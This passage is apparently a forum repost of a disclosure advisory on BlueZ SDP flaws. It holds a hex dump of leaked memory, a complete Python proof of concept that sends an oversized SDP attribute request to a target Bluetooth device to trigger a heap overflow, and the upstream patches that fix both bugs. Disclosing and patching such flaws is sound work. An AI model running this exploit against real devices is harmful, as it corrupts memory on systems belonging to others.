49 6e 74 72 6f 73 70 │top.│DBus│.Int│rosp│ 00000580 65 63 74 61 62 6c 65 22 3e 3c 6d 65 74 68 6f 64 │ecta│ble"│><me│thod│ 00000590 20 6e 61 6d 65 3d 22 49 6e 74 72 6f 73 70 65 63 │ nam│e="I│ntro│spec│ 000005a0 74 22 3e 3c 61 72 67 20 6e 61 6d 65 3d 22 78 6d │t"><│arg │name│="xm│ 000005b0 6c 22 20 74 79 70 65 3d 22 73 22 20 64 69 72 65 │l" t│ype=│"s" │dire│ 000005c0 63 74 69 6f 6e 3d 22 6f 75 74 22 2f 3e 0a 3c 2f │ctio│n="o│ut"/│>·</│ 000005d0 6d 65 74 68 6f 64 3e 3c 2f 69 6e 74 65 72 66 61 │meth│od><│/int│erfa│ 000005e0 63 65 3e 3c 69 6e 74 65 72 66 61 63 65 20 6e 61 │ce><│inte│rfac│e na│ 000005f0 6d 65 3d 22 6f 72 67 2e 66 72 65 65 64 65 73 6b │me="│org.│free│desk│ 00000600 74 6f 70 2e 44 42 75 73 2e 4f 62 6a 65 63 74 4d │top.│DBus│.Obj│ectM│ 00000610 61 6e 61 67 65 72 22 3e 3c 6d 65 74 68 6f 64 20 │anag│er">│<met│hod │ 00000620 6e 61 6d 65 3d 22 47 65 74 4d 61 6e 61 67 65 64 │name│="Ge│tMan│aged│ 00000630 4f 62 6a 65 63 74 73 22 3e 3c 61 72 67 20 6e 61 │Obje│cts"│><ar│g na│ 00000640 6d 65 3d 22 6f 62 6a 65 63 74 73 22 20 74 79 70 │me="│obje│cts"│ typ│ 00000650 65 3d 22 61 7b 6f 61 7b 73 61 7b 73 76 7d 7d 7d │e="a│{oa{│sa{s│v}}}│ 00000660 22 20 64 69 72 65 63 74 69 6f 6e 3d 22 6f 75 74 │" di│rect│ion=│"out│ 00000670 22 2f 3e 0a 3c 2f 6d 65 74 68 6f 64 3e 3c 73 69 │"/>·│</me│thod│><si│ 00000680 67 6e 61 6c 20 6e 61 6d 65 3d 22 49 6e 74 65 72 │gnal│ nam│e="I│nter│ 00000690 66 61 63 65 73 41 64 64 65 64 22 3e 3c 61 72 67 │face│sAdd│ed">│<arg│ 000006a0 20 6e 61 6d 65 3d 22 6f 62 6a 65 63 74 22 20 74 │ nam│e="o│bjec│t" t│ 000006b0 79 70 65 3d 22 6f 22 2f 3e 0a 3c 61 72 67 20 6e │ype=│"o"/│>·<a│rg n│ 000006c0 61 6d 65 3d 22 69 6e 74 65 72 66 61 63 65 73 22 │ame=│"int│erfa│ces"│ 000006d0 20 74 79 70 65 3d 22 61 7b 73 61 7b 73 76 7d 7d │ typ│e="a│{sa{│sv}}│ 000006e0 22 2f 3e 0a 3c 2f 73 69 67 6e 61 6c 3e 0a 3c 73 │"/>·│</si│gnal│>·<s│ 000006f0 69 67 6e 61 6c 20 6e 61 6d 65 3d 22 49 6e 74 65 │igna│l na│me="│Inte│ 00000700 72 66 61 63 65 73 52 65 6d 6f 76 65 64 22 3e 3c │rfac│esRe│move│d"><│ 00000710 61 72 67 20 6e 61 6d 65 3d 22 6f 62 6a 65 63 74 │arg │name│="ob│ject│ 00000720 22 20 74 79 70 65 3d 22 6f 22 2f 3e 0a 3c 61 72 │" ty│pe="│o"/>│·<ar│ 00000730 67 20 6e 61 6d 65 3d 22 69 6e 74 65 72 66 61 63 │g na│me="│inte│rfac│ 00000740 65 73 22 20 74 79 70 65 3d 22 61 73 22 2f 3e 0a │es" │type│="as│"/>·│ 00000750 3c 2f 73 69 67 6e 61 6c 3e 0a 3c 2f 69 6e 74 65 │</si│gnal│>·</│inte│ 00000760 72 66 61 63 65 3e 3c 6e 6f 64 65 20 6e 61 6d 65 │rfac│e><n│ode │name│ 00000770 3d 22 6f 72 67 22 2f 3e 3c 2f 6e 6f 64 65 3e 00 │="or│g"/>│</no│de>·│ 00000780 30 30 2d 30 30 30 30 2d 31 30 30 30 2d 38 30 30 │00-0│000-│1000│-800│ 00000790 30 2d 30 30 38 30 35 66 39 62 33 34 66 62 00 00 │0-00│805f│9b34│fb··│ 000007a0 00 00 24 00 00 00 30 30 30 30 31 38 30 30 2d 30 │··$·│··00│0018│00-0│ 000007b0 30 30 30 2d 31 30 30 30 2d 38 30 30 30 2d 30 30 │000-│1000│-800│0-00│ 000007c0 38 30 35 66 39 62 33 34 66 62 00 00 00 00 24 00 │805f│9b34│fb··│··$·│ 000007d0 00 00 30 30 30 30 31 38 30 31 2d 30 30 30 30 2d │··00│0018│01-0│000-│ 000007e0 31 30 30 30 2d 38 30 30 30 2d 30 30 38 30 35 66 │1000│-800│0-00│805f│ 000007f0 39 62 33 34 66 62 00 00 00 00 24 00 00 00 30 30 │9b34│fb··│··$·│··00│ 00000800 30 30 36 36 37 35 2d 37 34 37 35 2d 37 32 36 35 │0066│75-7│475-│7265│ 00000810 2d 36 34 36 39 2d 36 31 36 63 36 32 37 35 36 64 │-646│9-61│6c62│756d│ 00000820 37 30 00 00 00 00 08 00 00 00 4d 6f 64 61 6c 69 │70··│····│··Mo│dali│ 00000830 61 73 00 01 73 00 19 00 00 00 62 6c 75 65 74 6f │as··│s···│··bl│ueto│ 00000840 6f 74 68 3a 76 30 30 30 46 70 31 32 30 30 64 31 │oth:│v000│Fp12│00d1│ 00000850 34 33 36 00 00 00 07 00 00 00 41 64 61 70 74 65 │436·│····│··Ad│apte│ 00000860 72 00 01 6f 00 00 0f 00 00 00 2f 6f 72 67 2f 62 │r··o│····│··/o│rg/b│ 00000870 6c 75 65 7a 2f 68 63 69 30 00 00 00 00 00 10 00 │luez│/hci│0···│····│ 00000880 00 00 53 65 72 76 69 63 65 73 52 65 73 6f 6c 76 │··Se│rvic│esRe│solv│ 00000890 65 64 00 01 62 00 00 00 00 00 00 00 00 00 1f 00 │ed··│b···│····│····│ 000008a0 00 00 6f 72 67 2e 66 72 65 65 64 65 73 6b 74 6f │··or│g.fr│eede│skto│ 000008b0 70 2e 44 42 75 73 2e 50 72 6f 70 65 72 74 69 65 │p.DB│us.P│rope│rtie│ 000008c0 73 00 00 00 00 00 11 02 00 00 00 00 00 00 a0 29 │s···│····│····│···)│ 000008d0 41 27 aa 55 00 00 74 77 6f 72 6b 31 00 00 18 00 │A'·U│··tw│ork1│····│ 000008e0 00 00 00 00 00 00 09 00 00 00 43 6f 6e 6e 65 63 │····│····│··Co│nnec│ 000008f0 74 65 64 00 01 62 00 00 00 00 00 00 00 00 17 00 │ted·│·b··│····│····│ 00000900 00 00 6f 72 67 2e 62 6c 75 65 7a 2e 4d 65 64 69 │··or│g.bl│uez.│Medi│ 00000910 61 43 6f 6e 74 72 6f 6c 31 00 18 00 00 00 09 00 │aCon│trol│1···│····│ 00000920 00 00 43 6f 6e 6e 65 63 74 65 64 00 01 62 00 00 │··Co│nnec│ted·│·b··│ 00000930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ac0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 04 │····│····│····│····│ 00000ad0 00 00 00 00 00 00 11 02 00 00 00 00 00 00 b0 2b │····│····│····│···+│ 00000ae0 41 27 aa 55 00 00 00 00 00 00 00 00 00 00 01 00 │A'·U│····│····│····│ 00000af0 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 │····│····│····│····│ 00000b30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000b60 00 00 00 00 00 00 11 00 00 00 00 00 00 00 12 00 │····│····│····│····│ 00000b70 00 00 00 00 00 00 13 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000b80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000bb0 00 00 00 00 00 00 1b 00 00 00 00 00 00 00 1c 00 │····│····│····│····│ 00000bc0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000bd0 00 00 00 00 00 00 1f 00 00 00 00 00 00 00 20 00 │····│····│····│·· ·│ 00000be0 00 00 00 00 00 00 21 00 00 00 00 00 00 00 00 00 │····│··!·│····│····│ 00000bf0 00 00 00 00 00 00 23 00 00 00 00 00 00 00 24 00 │····│··#·│····│··$·│ 00000c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000c80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 00 │····│····│····│··6·│ 00000c90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ce0 00 00 00 00 00 00 11 02 00 00 00 00 00 00 20 ca │····│····│····│·· ·│ 00000cf0 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 60 d5 │@'·U│····│····│··`·│ 00000d00 3f 27 aa 55 00 00 80 3f 40 27 aa 55 00 00 00 00 │?'·U│···?│@'·U│····│ 00000d10 00 00 00 00 00 00 e0 48 40 27 aa 55 00 00 00 00 │····│···H│@'·U│····│ 00000d20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000d30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 54 │····│····│····│···T│ 00000d40 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000d50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000d70 00 00 00 00 00 00 d0 82 40 27 aa 55 00 00 80 8b │····│····│@'·U│····│ 00000d80 40 27 aa 55 00 00 a0 8c 40 27 aa 55 00 00 00 00 │@'·U│····│@'·U│····│ 00000d90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000dc0 00 00 00 00 00 00 70 a8 40 27 aa 55 00 00 50 a9 │····│··p·│@'·U│··P·│ 00000dd0 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000de0 00 00 00 00 00 00 10 c6 40 27 aa 55 00 00 c0 c6 │····│····│@'·U│····│ 00000df0 40 27 aa 55 00 00 20 c8 40 27 aa 55 00 00 00 00 │@'·U│·· ·│@'·U│····│ 00000e00 00 00 00 00 00 00 60 d3 40 27 aa 55 00 00 d0 d4 │····│··`·│@'·U│····│ 00000e10 40 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │@'·U│····│····│····│ 00000e20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000e90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 a2 │····│····│····│····│ 00000ea0 41 27 aa 55 00 00 00 00 00 00 00 00 00 00 00 00 │A'·U│····│····│····│ 00000eb0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000ef0 00 00 00 00 00 00 51 00 00 00 00 00 00 00 80 e5 │····│··Q·│····│····│ 00000f00 3f 27 aa 55 00 00 2f 62 6c 75 65 74 6f 6f 74 68 │?'·U│··/b│luet│ooth│ 00000f10 2f 37 30 3a 46 33 3a 39 35 3a 37 41 3a 42 39 3a │/70:│F3:9│5:7A│:B9:│ 00000f20 43 38 2f 63 61 63 68 65 2f 30 30 3a 31 41 3a 37 │C8/c│ache│/00:│1A:7│ 00000f30 44 3a 44 41 3a 37 31 3a 31 31 2e 57 46 53 49 46 │D:DA│:71:│11.W│FSIF│ 00000f40 5a 00 00 00 00 00 21 00 00 00 00 00 00 00 01 00 │Z···│··!·│····│····│ 00000f50 00 00 17 00 00 00 18 00 00 00 19 00 00 00 30 75 │····│····│····│··0u│ 00000f60 00 00 00 00 00 00 51 00 00 00 00 00 00 00 40 e1 │····│··Q·│····│··@·│ 00000f70 41 27 aa 55 00 00 70 81 40 27 aa 55 00 00 20 00 │A'·U│··p·│@'·U│·· ·│ 00000f80 00 00 00 00 00 00 30 00 00 00 00 00 00 00 70 81 │····│··0·│····│··p·│ 00000f90 40 27 aa 55 00 00 73 76 7d 61 73 00 00 00 20 00 │@'·U│··sv│}as·│·· ·│ 00000fa0 00 00 00 00 00 00 f0 c4 40 27 aa 55 00 00 50 00 │····│····│@'·U│··P·│ 00000fb0 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000fc0 00 00 00 00 00 00 00 12 41 27 aa 55 00 00 18 00 │····│····│A'·U│····│ 00000fd0 00 00 20 00 00 00 00 00 00 00 00 00 00 00 ff ff │·· ·│····│····│····│ 00000fe0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff │····│····│····│····│ * 00001000 ff ff ff ff ff ff 08 56 4c a5 5a c8 10 00 00 │····│···V│L·Z·│···│ 0000100f Heap overflow poc: from pwn import * import bluetooth if not 'TARGET' in args: log.info("Usage: sdp_heapoverflow_poc.py TARGET=XX:XX:XX:XX:XX:XX") exit() # the service from which we want to request attributes (GAP) SERVICE_REC_HANDLE = 0x00010001 target = args['TARGET'] mtu = 65535 attrcount = 1000 # how often to request the attribute context.endian = 'big' def sdppacket(handle, attr): pkt = "" pkt += p32(handle) # handle pkt += p16(0xFFFF) # max_rsp_size # contains an attribute sequence with the length describing the attributes being 16 bit long # see extract_des function in line 113 of src/sdpd-request.c pkt += p8(0x36) # DTD (seq_type SDP_SEQ16) pkt += p16(len(attr)) # seq size, 16 bit according to DTD # attributes pkt += attr pkt += p8(0x00) # Cstate len pduhdr = "" pduhdr += p8(0x04) # pdu_id 0x04 -> SVC_ATTR_REQ pduhdr += p16(0x0000) # tid pduhdr += p16(len(pkt)) # plen return pduhdr + pkt if __name__ == '__main__': log.info('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) log.info('Connecting to target') sock.connect((target, 1)) # the attribute we want to request (multiple times) # to create the largest response possible, we request a # range of attributes at once. # for more control during exploitation, it would also be possible to request # single attributes. attr = p8(0x0A) # data type (SDP_UINT_32) attr += p16(0x0000) # attribute id start attr += p16(0xFFFE) # attribute id end sdp = sdppacket(SERVICE_REC_HANDLE, attr*attrcount) log.info("packet length: %d bytes" % len(sdp)) log.info('Triggering heap overflow...') sock.send(sdp) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * import bluetooth if not 'TARGET' in args: log.info("Usage: sdp_heapoverflow_poc.py TARGET=XX:XX:XX:XX:XX:XX") exit() # the service from which we want to request attributes (GAP) SERVICE_REC_HANDLE = 0x00010001 target = args['TARGET'] mtu = 65535 attrcount = 1000 # how often to request the attribute context.endian = 'big' def sdppacket(handle, attr): pkt = "" pkt += p32(handle) # handle pkt += p16(0xFFFF) # max_rsp_size # contains an attribute sequence with the length describing the attributes being 16 bit long # see extract_des function in line 113 of src/sdpd-request.c pkt += p8(0x36) # DTD (seq_type SDP_SEQ16) pkt += p16(len(attr)) # seq size, 16 bit according to DTD # attributes pkt += attr pkt += p8(0x00) # Cstate len pduhdr = "" pduhdr += p8(0x04) # pdu_id 0x04 -> SVC_ATTR_REQ pduhdr += p16(0x0000) # tid pduhdr += p16(len(pkt)) # plen return pduhdr + pkt if __name__ == '__main__': log.info('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) log.info('Connecting to target') sock.connect((target, 1)) # the attribute we want to request (multiple times) # to create the largest response possible, we request a # range of attributes at once. # for more control during exploitation, it would also be possible to request # single attributes. attr = p8(0x0A) # data type (SDP_UINT_32) attr += p16(0x0000) # attribute id start attr += p16(0xFFFE) # attribute id end sdp = sdppacket(SERVICE_REC_HANDLE, attr*attrcount) log.info("packet length: %d bytes" % len(sdp)) log.info('Triggering heap overflow...') sock.send(sdp) If everything happens as expected, we shall get a similar output to this: [*] Creating L2CAP socket [*] Connecting to target [*] packet length: 5015 bytes [*] Triggering heap overflow... 1 2 3 4 [*] Creating L2CAP socket [*] Connecting to target [*] packet length: 5015 bytes [*] Triggering heap overflow... Patches suggested by Luiz Augusto von Dentz SDP Info leak patch: From 00d8409234302e5e372af9b4cc299b55faecb0a4 Mon Sep 17 00:00:00 2001 From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com> Date: Fri, 28 Sep 2018 15:04:42 +0300 Subject: [PATCH BlueZ 1/2] sdp: Fix not checking if cstate length MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit cstate length should be smaller than cached length otherwise the request shall be considered invalid as the data is not within the cached buffer. An independent security researcher, Julian Rauchberger, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. --- src/sdpd-request.c | 74 ++++++++++++++++++++++++---------------------- 1 file changed, 39 insertions(+), 35 deletions(-) diff --git a/src/sdpd-request.c b/src/sdpd-request.c index 318d04467..deaed266f 100644 --- a/src/sdpd-request.c +++ b/src/sdpd-request.c @@ -70,9 +70,16 @@ static sdp_buf_t *sdp_get_cached_rsp(sdp_cont_state_t *cstate) { sdp_cstate_list_t *p; - for (p = cstates; p; p = p->next) - if (p->timestamp == cstate->timestamp) + for (p = cstates; p; p = p->next) { + /* Check timestamp */ + if (p->timestamp != cstate->timestamp) + continue; + + /* Check if requesting more than available */ + if (cstate->cStateValue.maxBytesSent < p->buf.data_size) return &p->buf; + } + return 0; } @@ -624,6 +631,31 @@ static int extract_attrs(sdp_record_t *rec, sdp_list_t *seq, sdp_buf_t *buf) return 0; } +/* Build cstate response */ +static int sdp_cstate_rsp(sdp_cont_state_t *cstate, sdp_buf_t *buf, + uint16_t max) +{ + /* continuation State exists -> get from cache */ + sdp_buf_t *cache = sdp_get_cached_rsp(cstate); + uint16_t sent; + + if (!cache) + return 0; + + sent = MIN(max, cache->data_size - cstate->cStateValue.maxBytesSent); + memcpy(buf->data, cache->data + cstate->cStateValue.maxBytesSent, sent); + buf->data_size += sent; + cstate->cStateValue.maxBytesSent += sent; + + SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", + cache->data_size, sent, cstate->cStateValue.maxBytesSent); + + if (cstate->cStateValue.maxBytesSent == cache->data_size) + return sdp_set_cstate_pdu(buf, NULL); + + return sdp_set_cstate_pdu(buf, cstate); +} + /* * A request for the attributes of a service record. * First check if the service record (specified by @@ -633,7 +665,6 @@ static int extract_attrs(sdp_record_t *rec, sdp_list_t *seq, sdp_buf_t *buf) static int service_attr_req(sdp_req_t *req, sdp_buf_t *buf) { sdp_cont_state_t *cstate = NULL; - uint8_t *pResponse = NULL; short cstate_size = 0; sdp_list_t *seq = NULL; uint8_t dtd = 0; @@ -719,24 +750,8 @@ static int service_attr_req(sdp_req_t *req, sdp_buf_t *buf) buf->buf_size -= sizeof(uint16_t); if (cstate) { - sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); - - SDPDBG("Obtained cached rsp : %p", pCache); - - if (pCache) { - short sent = MIN(max_rsp_size, pCache->data_size - cstate->cStateValue.maxBytesSent); - pResponse = pCache->data; - memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); - buf->data_size += sent; - cstate->cStateValue.maxBytesSent += sent; - - SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", - pCache->data_size, sent, cstate->cStateValue.maxBytesSent); - if (cstate->cStateValue.maxBytesSent == pCache->data_size) - cstate_size = sdp_set_cstate_pdu(buf, NULL); - else - cstate_size = sdp_set_cstate_pdu(buf, cstate); - } else { + cstate_size = sdp_cstate_rsp(cstate, buf, max_rsp_size); + if (!cstate_size) { status = SDP_INVALID_CSTATE; error("NULL cache buffer and non-NULL continuation state"); } @@ -786,7 +801,7 @@ done: static int service_search_attr_req(sdp_req_t *req, sdp_buf_t *buf) { int status = 0, plen, totscanned; - uint8_t *pdata, *pResponse = NULL; + uint8_t *pdata; unsigned int max; int scanned, rsp_count = 0; sdp_list_t *pattern = NULL, *seq = NULL, *svcList; @@ -915,19 +930,8 @@ static int service_search_attr_req(sdp_req_t *req, sdp_buf_t *buf) } else cstate_size = sdp_set_cstate_pdu(buf, NULL); } else { - /* continuation State exists -> get from cache */ - sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); - if (pCache && cstate->cStateValue.maxBytesSent < pCache->data_size) { - uint16_t sent = MIN(max, pCache->data_size - cstate->cStateValue.maxBytesSent); - pResponse = pCache->data; - memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); - buf->data_size += sent; - cstate->cStateValue.maxBytesSent += sent; - if (cstate->cStateValue.maxBytesSent == pCache->data_size) - cstate_size = sdp_set_cstate_pdu(buf, NULL); - else - cstate_size = sdp_set_cstate_pdu(buf, cstate); - } else { + cstate_size = sdp_cstate_rsp(cstate, buf, max); + if (!cstate_size) { status = SDP_INVALID_CSTATE; SDPDBG("Non-null continuation state, but null cache buffer"); } -- 2.17.1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 From 00d8409234302e5e372af9b4cc299b55faecb0a4 Mon Sep 17 00:00:00 2001 From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com> Date: Fri, 28 Sep 2018 15:04:42 +0300 Subject: [PATCH BlueZ 1/2] sdp: Fix not checking if cstate length MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit cstate length should be smaller than cached length otherwise the request shall be considered invalid as the data is not within the cached buffer. An independent security researcher, Julian Rauchberger, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. --- src/sdpd-request.c | 74 ++++++++++++++++++++++++---------------------- 1 file changed, 39 insertions(+), 35 deletions(-) diff --git a/src/sdpd-request.c b/src/sdpd-request.c index 318d04467..deaed266f 100644 --- a/src/sdpd-request.c +++ b/src/sdpd-request.c @@ -70,9 +70,16 @@ static sdp_buf_t *sdp_get_cached_rsp(sdp_cont_state_t *cstate) { sdp_cstate_list_t *p; - for (p = cstates; p; p = p->next) - if (p->timestamp == cstate->timestamp) + for (p = cstates; p; p = p->next) { + /* Check timestamp */ + if (p->timestamp != cstate->timestamp) + continue; + + /* Check if requesting more than available */ + if (cstate->cStateValue.maxBytesSent < p->buf.data_size) return &p->buf; + } + return 0; } @@ -624,6 +631,31 @@ static int extract_attrs(sdp_record_t *rec, sdp_list_t *seq, sdp_buf_t *buf) return 0; } +/* Build cstate response */ +static int sdp_cstate_rsp(sdp_cont_state_t *cstate, sdp_buf_t *buf, + uint16_t max) +{ + /* continuation State exists -> get from cache */ + sdp_buf_t *cache = sdp_get_cached_rsp(cstate); + uint16_t sent; + + if (!cache) + return 0; + + sent = MIN(max, cache->data_size - cstate->cStateValue.maxBytesSent); + memcpy(buf->data, cache->data + cstate->cStateValue.maxBytesSent, sent); + buf->data_size += sent; + cstate->cStateValue.maxBytesSent += sent; + + SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", + cache->data_size, sent, cstate->cStateValue.maxBytesSent); + + if (cstate->cStateValue.maxBytesSent == cache->data_size) + return sdp_set_cstate_pdu(buf, NULL); + + return sdp_set_cstate_pdu(buf, cstate); +} + /* * A request for the attributes of a service record. * First check if the service record (specified by @@ -633,7 +665,6 @@ static int extract_attrs(sdp_record_t *rec, sdp_list_t *seq, sdp_buf_t *buf) static int service_attr_req(sdp_req_t *req, sdp_buf_t *buf) { sdp_cont_state_t *cstate = NULL; - uint8_t *pResponse = NULL; short cstate_size = 0; sdp_list_t *seq = NULL; uint8_t dtd = 0; @@ -719,24 +750,8 @@ static int service_attr_req(sdp_req_t *req, sdp_buf_t *buf) buf->buf_size -= sizeof(uint16_t); if (cstate) { - sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); - - SDPDBG("Obtained cached rsp : %p", pCache); - - if (pCache) { - short sent = MIN(max_rsp_size, pCache->data_size - cstate->cStateValue.maxBytesSent); - pResponse = pCache->data; - memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); - buf->data_size += sent; - cstate->cStateValue.maxBytesSent += sent; - - SDPDBG("Response size : %d sending now : %d bytes sent so far : %d", - pCache->data_size, sent, cstate->cStateValue.maxBytesSent); - if (cstate->cStateValue.maxBytesSent == pCache->data_size) - cstate_size = sdp_set_cstate_pdu(buf, NULL); - else - cstate_size = sdp_set_cstate_pdu(buf, cstate); - } else { + cstate_size = sdp_cstate_rsp(cstate, buf, max_rsp_size); + if (!cstate_size) { status = SDP_INVALID_CSTATE; error("NULL cache buffer and non-NULL continuation state"); } @@ -786,7 +801,7 @@ done: static int service_search_attr_req(sdp_req_t *req, sdp_buf_t *buf) { int status = 0, plen, totscanned; - uint8_t *pdata, *pResponse = NULL; + uint8_t *pdata; unsigned int max; int scanned, rsp_count = 0; sdp_list_t *pattern = NULL, *seq = NULL, *svcList; @@ -915,19 +930,8 @@ static int service_search_attr_req(sdp_req_t *req, sdp_buf_t *buf) } else cstate_size = sdp_set_cstate_pdu(buf, NULL); } else { - /* continuation State exists -> get from cache */ - sdp_buf_t *pCache = sdp_get_cached_rsp(cstate); - if (pCache && cstate->cStateValue.maxBytesSent < pCache->data_size) { - uint16_t sent = MIN(max, pCache->data_size - cstate->cStateValue.maxBytesSent); - pResponse = pCache->data; - memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); - buf->data_size += sent; - cstate->cStateValue.maxBytesSent += sent; - if (cstate->cStateValue.maxBytesSent == pCache->data_size) - cstate_size = sdp_set_cstate_pdu(buf, NULL); - else - cstate_size = sdp_set_cstate_pdu(buf, cstate); - } else { + cstate_size = sdp_cstate_rsp(cstate, buf, max); + if (!cstate_size) { status = SDP_INVALID_CSTATE; SDPDBG("Non-null continuation state, but null cache buffer"); } -- 2.17.1 SDP Heap Overflow patch: From 6632f256515ed4bd603a8ccb3b8bdd84fd5cc181 Mon Sep 17 00:00:00 2001 From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com> Date: Fri, 28 Sep 2018 16:08:32 +0300 Subject: [PATCH BlueZ 2/2] sdp: Fix buffer overflow MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit sdp_append_buf shall check if there is enough space to store the data before copying it. An independent security researcher, Julian Rauchberger, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. --- lib/sdp.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/sdp.c b/lib/sdp.c index eb408a948..84311eda1 100644 --- a/lib/sdp.c +++ b/lib/sdp.c @@ -2834,6 +2834,12 @@ void sdp_append_to_buf(sdp_buf_t *dst, uint8_t *data, uint32_t len) SDPDBG("Append src size: %d", len); SDPDBG("Append dst size: %d", dst->data_size); SDPDBG("Dst buffer size: %d", dst->buf_size); + + if (dst->data_size + len > dst->buf_size) { + SDPERR("Cannot append"); + return; + } + if (dst->data_size == 0 && dtd == 0) { /* create initial sequence */ *p = SDP_SEQ8; -- 2.17.1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 From 6632f256515ed4bd603a8ccb3b8bdd84fd5cc181 Mon Sep 17 00:00:00 2001 From: Luiz Augusto von Dentz <luiz.von.dentz@intel.com> Date: Fri, 28 Sep 2018 16:08:32 +0300 Subject: [PATCH BlueZ 2/2] sdp: Fix buffer overflow MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit sdp_append_buf shall check if there is enough space to store the data before copying it. An independent security researcher, Julian Rauchberger, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. --- lib/sdp.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/sdp.c b/lib/sdp.c index eb408a948..84311eda1 100644 --- a/lib/sdp.c +++ b/lib/sdp.c @@ -2834,6 +2834,12 @@ void sdp_append_to_buf(sdp_buf_t *dst, uint8_t *data, uint32_t len) SDPDBG("Append src size: %d", len); SDPDBG("Append dst size: %d", dst->data_size); SDPDBG("Dst buffer size: %d", dst->buf_size); + + if (dst->data_size + len > dst->buf_size) { + SDPERR("Cannot append"); + return; + } + if (dst->data_size == 0 && dtd == 0) { /* create initial sequence */ *p = SDP_SEQ8; -- 2.17.1 Sursa: https://ssd-disclosure.com/index.php/archives/3743
      • 1
      • Upvote
×
×
  • Create New...